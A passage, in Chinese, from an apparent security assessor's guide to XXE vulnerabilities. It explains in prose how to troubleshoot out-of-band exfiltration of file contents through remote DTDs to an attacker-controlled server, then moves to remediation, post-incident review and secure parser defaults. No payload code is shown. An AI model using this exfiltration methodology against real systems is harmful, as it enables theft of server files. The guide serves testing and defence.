标签的开始解析器直接报错。这不代表漏洞不存在只能说明当前“直接展开到响应里”的姿势不合适。这种情况我会换一个数据出口。一种是利用错误信息来辅助判断有些解析器会把读取到的内容片段作为错误提示一起返回另一种是带外通道先把文件内容发到自己的服务器再分析。实际操作中先读短文本文件确认链路再测试含特殊字符文件的处理方式。5.3 为什么外发请求始终不出来带外利用失败时我一般按照下面几个方向去排查。XML 格式合法性请求本身是否符合 XML 规范实体引用是否完整闭合DTD 声明位置是否正确。格式错误会直接被解析器拒绝。远程 DTD 能否被访问目标服务器是否具备访问外部地址的能力IP 白名单、防火墙策略、DNS 解析是否正常。协议支持范围解析器是否支持http://、https://、file://等协议需要单独测试。嵌套实体构造是否被目标解析器的版本限制不同解析器对参数实体展开规则有差异必要时换用更简单的链路做局部验证。我建议准备一套“最小化 DTD”模板先只做一次远程 DTD 加载确认目标能出网再在此基础上增加文件读取逐级确认避免一次堆叠太多功能导致问题无法定位。5.4 全生命周期复盘修复之后不等于一劳永逸修复完成以后我会做一件额外的事把这次发现的问题和根因写成一份简短的复盘。内容不写长篇大论只记录三件事漏洞是怎么被发现的、根因是哪个解析器配置、修复后的测试步骤是什么。这份记录一方面给团队做培训素材另一方面也是下次评估时的检查项。由于我现在做安全评估和代码审计的时间比较多这类“短平快”的文档积累下来效果比反复口头提醒要好得多。把根因写成代码规范的一部分每次新项目开发时直接套用问题就不容易重复出现。5.5 从个人经验角度说的最后一点XXE 这个漏洞虽然很多人觉得“老”但它的本质其实反映了一个更普遍的问题开发团队对底层库默认行为的理解直接决定了一个系统的基础安全水位。你可以不做安全开发但至少要知道自己用的解析器默认是否安全、默认允许什么、默认拒绝什么。这个问题想清楚防御方案就顺理成章了。我在实际工作中发现修复 XXE 最有效的时机不是在漏洞报告出来之后而是在代码评审阶段。评审时问一句“这个 XML 是从哪里来的、解析器是怎么配置的”能省掉后面一大半的返工。这份指南如果只能让你记住一条我希望是所有解析外部输入的环节默认都按“不可信”来处理所有解析器的外部资源能力默认都是关闭的。这样操作下来XXE 基本不会有落地机会。